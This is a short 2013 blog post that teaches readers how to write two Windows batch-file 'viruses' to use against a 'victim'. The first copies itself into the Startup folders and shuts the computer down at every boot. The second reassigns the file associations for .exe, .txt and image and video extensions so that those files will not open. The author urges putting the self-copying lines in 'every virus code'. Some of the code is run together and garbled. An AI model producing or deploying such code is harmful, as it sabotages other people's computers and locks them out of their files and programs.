Sunday, 1 September 2013

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Shutdown Virus

  • Sunday, 1 September 2013
  • sama arooj
  • Shutdown Virus

    Shutdown Virus
    copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
    copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” 
    these two commands will copy the batchfile in start up folders (in XP)
    shutdown -s -t 00 //this will shutdown the computer in 0 seconds
    Note: Files in Start up folder gets started automatically when windows starts. You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is
    C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

    2. Extension Changer
    @echo offassoc .txt=anything // this command associates extension .txt with filetype anything.assoc .exe=anythingassoc .jpeg=anythingassoc .png=anythingassoc .mpeg=anything

    Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt. Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wouldn’t open properly.

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